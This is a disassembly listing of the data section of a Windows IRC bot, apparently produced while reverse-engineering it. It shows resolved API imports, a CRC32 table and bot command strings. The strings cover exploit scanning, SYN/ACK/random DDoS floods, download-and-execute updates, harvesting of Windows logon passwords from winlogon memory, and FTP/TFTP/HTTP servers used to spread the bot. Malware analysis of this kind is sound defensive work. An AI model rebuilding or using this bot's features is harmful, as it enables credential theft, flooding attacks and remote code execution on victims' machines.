dword_420104	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_420108	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_42010C	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipe					; sub_40F18F+101r
dword_420110	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_4105D1+6Br
dword_420114	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_41084F+48r ...
dword_420118	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_42011C	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_41DF57+23r
dword_420120	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_41162E+19r ...
dword_420124	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_420128	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42012C	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjectsdword_420130	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_420134	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_420138	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42013C	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_420140	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_420144	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41E368+6r
dword_420148	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_42014C	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_420150	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41CC9C:loc_41CCF2r
dword_420154	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41C5B0+128r ...
dword_420158	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_414BBA+188r ...
dword_42015C	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTime					; sub_41E16F+Br
dword_420160	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_420164	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41BD3D+5Dr
dword_420168	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_42016C	dd 7C8136D7h	; resolved to->KERNEL32.TlsFreedword_420170	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_41D188+79r
dword_420174	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_416E86+55r ...
dword_420178	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_416E86+3Dr
dword_42017C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_420180	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_420184	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_420188	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_42018C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_420190	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_4186F8+52r ...
dword_420194	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_420198	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtectdword_42019C	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuery					; sub_419D38+71r
dword_4201A0	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_419E09+344r ...
dword_4201A4	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_419E09+15Br ...
dword_4201A8	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_4201AC	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4201B0	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41AE37+3Dr ...
dword_4201B4	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41BD3D+188r
dword_4201B8	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4201BC	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4201C0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_4201C4	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4201C8	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4201CC	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4201D0	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41BD3D+196r ...
dword_4201D4	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_41F96A+1CDr
		dd 0
dword_4201DC	dd 80000015h	dword_4201E0	dd 8000000Ah	dword_4201E4	dd 80000002h	dword_4201E8	dd 8000000Dh	dword_4201EC	dd 80000012h						; sub_403C3B+58Br
dword_4201F0	dd 80000097h	dword_4201F4	dd 80000001h	dword_4201F8	dd 80000010h	dword_4201FC	dd 80000013h						; sub_403C3B+119r
dword_420200	dd 80000073h						; sub_403C3B+49r
dword_420204	dd 80000017h						; sub_403C3B+6Fr
dword_420208	dd 8000000Bh	dword_42020C	dd 80000009h						; sub_403C3B+B0r
dword_420210	dd 80000004h	dword_420214	dd 80000003h						; sub_403BA9+80r ...
dword_420218	dd 80000074h						; sub_403BA9+86r
		align 10h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_401000+42o
		align 10h
aScanExploitSta	db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_401000+11o
aScanScanNotAct	db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_4010CA+42o
		align 4
aScanCurrentIpS	db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_4010CA+2Co
aHttpdFailedToS	db '[HTTPD]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+38Do
		align 10h
aHttpdServerLis	db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
					; DATA XREF: sub_401141+337o
					; sub_408A18+43DFo
aFtpFailedToSta	db '[FTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+27Fo
aFtpServerStart	db '[FTP]: Server started on: %s:%d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+228o
aTftpFailedToSt	db '[TFTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+13Bo
		align 4
aTftpServerStar	db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+DBo
					; sub_408A18+424Fo
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4017F1+42o
					; sub_407D51+3Do
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_401967+DCo
		align 4
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_401967+84o
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: sub_401B9D+1E0o
		align 4
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_401B9D+16Eo
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_401B9D+10Fo
aScanFailedToIn	db '[SCAN]: Failed to initialize critical section.',0
					; DATA XREF: sub_401B9D+A0o
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_401E87+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_401E87+10o
		align 4
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_401EFF+60o
		align 4
aLogsCleared_	db '[LOGS]: Cleared.',0 ; DATA XREF: sub_401F9F+1Ao
		align 10h
aLogListComplet	db '[LOG]: List complete.',0 ; DATA XREF: sub_402011+DCo
		align 4
aLogBegin	db '[LOG]: Begin',0     ; DATA XREF: sub_402011+3Fo
		align 4
		dd 0
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_420978	dd 6272h						; sub_411FA9+121o
aDdosSendErrorD	db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_4021B5+30Fo
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4021B5+123o
					; sub_408A18+22A8o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4021B5+109o
					; sub_408A18+2294o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4021B5+EFo
					; sub_408A18+2280o
		align 4
aDdosDoneWithFl	db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_40253C+5Bo
aDownloadBadUrl	db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_40260A+4B6o
		align 4
aDownloadUpda_0	db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
					; DATA XREF: sub_40260A+4A8o
		align 10h
aDownloadDown_0	db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
					; DATA XREF: sub_40260A+403o
aDownloadExecut	db '[DOWNLOAD]: Execution failed: Error executing file: %s.',0
					; DATA XREF: sub_40260A:loc_4029C0o
aDownloadApplic	db '[DOWNLOAD]: Application succesfully executed: %s.',0
					; DATA XREF: sub_40260A+3ACo
		align 4
asc_420AE8:				; DATA XREF: sub_40260A+346o
					; sub_404F24+25Co ...
		unicode	0, < >,0
aDownloadOpenni	db '[DOWNLOAD]: Openning: %s %s.',0 ; DATA XREF: sub_40260A+2B4o
		align 4
aDownloadDownlo	db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
					; DATA XREF: sub_40260A+24Eo
dbl_420B40	dq 9.765625e-4		; DATA XREF: sub_40260A+21Dr
					; sub_40260A:loc_402847r ...
dbl_420B48	dq 4.294967296e9	; DATA XREF: sub_40260A+215r
					; sub_40260A+237r ...
aDownloadFilesi	db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
					; DATA XREF: sub_40260A+195o
		align 10h
aDownloadUpdate	db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
					; DATA XREF: sub_40260A:loc_40276Do
		align 4
aDownloadFileDo	db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
					; DATA XREF: sub_40260A+15Co
		align 10h
aDownloadCouldn	db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_40260A+77o
aUnknown	db 'Unknown',0          ; DATA XREF: sub_402BB0:loc_402BF3o
					; sub_4071EE+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_402BB0:loc_402BEDo
aDisk		db 'Disk',0             ; DATA XREF: sub_402BB0:loc_402BE7o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_402BB0:loc_402BE1o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_402BB0:loc_402BDBo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_402BB0:loc_402BD5o
a?:					; DATA XREF: sub_402BB0+1Fo
		unicode	0, <?>,0
aFailed		db 'failed',0           ; DATA XREF: sub_402C41:loc_402D19o
					; sub_402D5C+2Do
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_402C41+6Co
		align 4
aMainSDriveSSTo	db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
					; DATA XREF: sub_402D5C+7Bo
aMainSDriveSFai	db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
					; DATA XREF: sub_402D5C+45o
		align 4
aA		db 'A:\',0              ; DATA XREF: sub_402E1B+39o
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_402F79+107o
		align 4
aSS_0		db '%s\%s',0            ; DATA XREF: sub_402F79+45o
					; sub_40E745+195o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_402F79+14o
		align 4
aFindfileFilesF	db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_4030CB+CFo
		align 4
aFindfileSearch	db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_4030CB+66o
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4031EB+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4031EB+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4031EB+B9o
		align 10h
aFindpassTheWin	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_403637+6Ao
					; sub_4036C9+A3o
		db ' \\%S, User: (%S/%S).',0
		align 4
aFindpassTheW_0	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_4036C9+C5o
		db ' \\%S, User: (%S/(N/A)).',0
		align 4
aFindpassFailed	db '[FINDPASS]: Failed to enable Debug Privilege.',0
					; DATA XREF: sub_4037CA:loc_403941o
		align 4
aFindpassUnab_0	db '[FINDPASS]: Unable to find Winlogon Process ID.',0
					; DATA XREF: sub_4037CA:loc_403915o
aFindpassUnable	db '[FINDPASS]: Unable to find the password in memory.',0
					; DATA XREF: sub_4037CA:loc_40390Eo
		align 4
aFindpassTheW_1	db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:'
					; DATA XREF: sub_4037CA+116o
		db ' \\%S, User: (%S/(no password)).',0
		align 4
aUserdomain:				; DATA XREF: sub_4037CA+DBo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_4037CA+CDo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4037CA+99o
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4037CA+8Co
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4037CA+7Fo
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4037CA+72o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4037CA+67o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4037CA+54o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4037CA+40o
					; sub_4037CA+160o ...
		align 4
aFindpassOnlySu	db '[FINDPASS]: Only supported on Windows NT/2000.',0
					; DATA XREF: sub_4037CA+35o
		align 4
a221Goodbye_	db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_403C3B+542o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_403C3B+531o
					; sub_408A18+5DAo
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403C3B+528o
		align 4
aFtpFileTransfe	db '[FTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_403C3B+4DCo
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403C3B+4C1o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403C3B+491o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403C3B:loc_4040B5o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403C3B+470o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403C3B+45Eo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403C3B+42Ao
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403C3B+3ECo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403C3B:loc_403FF1o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403C3B+38Eo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_403C3B:loc_403FB7o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403C3B+350o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_403C3B:loc_403F78o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403C3B+333o
aI:					; DATA XREF: sub_403C3B+31Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403C3B+302o
aA_0:					; DATA XREF: sub_403C3B+2EDo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403C3B:loc_403F14o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403C3B+2CFo
		align 10h
off_4211C0	dd offset dword_445750	; DATA XREF: sub_403C3B+2BDo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403C3B+2B1o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403C3B:loc_403ED9o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403C3B+294o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_403C3B:loc_403EBCo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403C3B+277o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_403C3B:loc_403E9Fo
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403C3B+25Ao
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_403C3B+247o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_403C3B+236o
		align 10h
a220Winftpd1_2	db '220 WinFtpd 1.2',0Ah,0 ; DATA XREF: sub_403C3B+1BAo
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4041E2+6BBo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4041E2+6A6o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4041E2+68Bo
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4041E2+5F1o
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4041E2+5C9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4041E2:loc_404763o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4041E2+57Ao
		align 4
aSS		db '%s%s',0             ; DATA XREF: sub_4041E2+523o
					; sub_404C6A+E6o ...
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4041E2+4C5o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4041E2+484o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4041E2+451o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4041E2:loc_4045F5o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4041E2+40Co
		align 4
aSS_2		db '%s%s/',0            ; DATA XREF: sub_4041E2+3B5o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4041E2+36Co
					; sub_4041E2+4DAo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4041E2+33Bo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4041E2+311o
					; sub_4041E2+463o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4041E2+2E5o
aAm		db 'AM',0               ; DATA XREF: sub_4041E2+2C4o
					; .data:0042E1A0o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4041E2+2B9o
					; .data:0042E1A4o
		align 4
a__0:					; DATA XREF: sub_4041E2+27Co
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4041E2+264o
		align 8
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4041E2+1F0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4041E2+15Co
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4041E2+144o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4041E2+107o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4041E2+B4o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4041E2+75o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4041E2+3Fo
asc_4216D8:				; DATA XREF: sub_4041E2+1Eo
					; sub_404C6A+F7o ...
		dw 0Ah
		unicode	0, <>,0
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4049D5+8Ao
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404AFC+E4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404AFC+CAo
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_404AFC+94o
					; sub_41175C+17Do ...
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404AFC+7Bo
		align 4
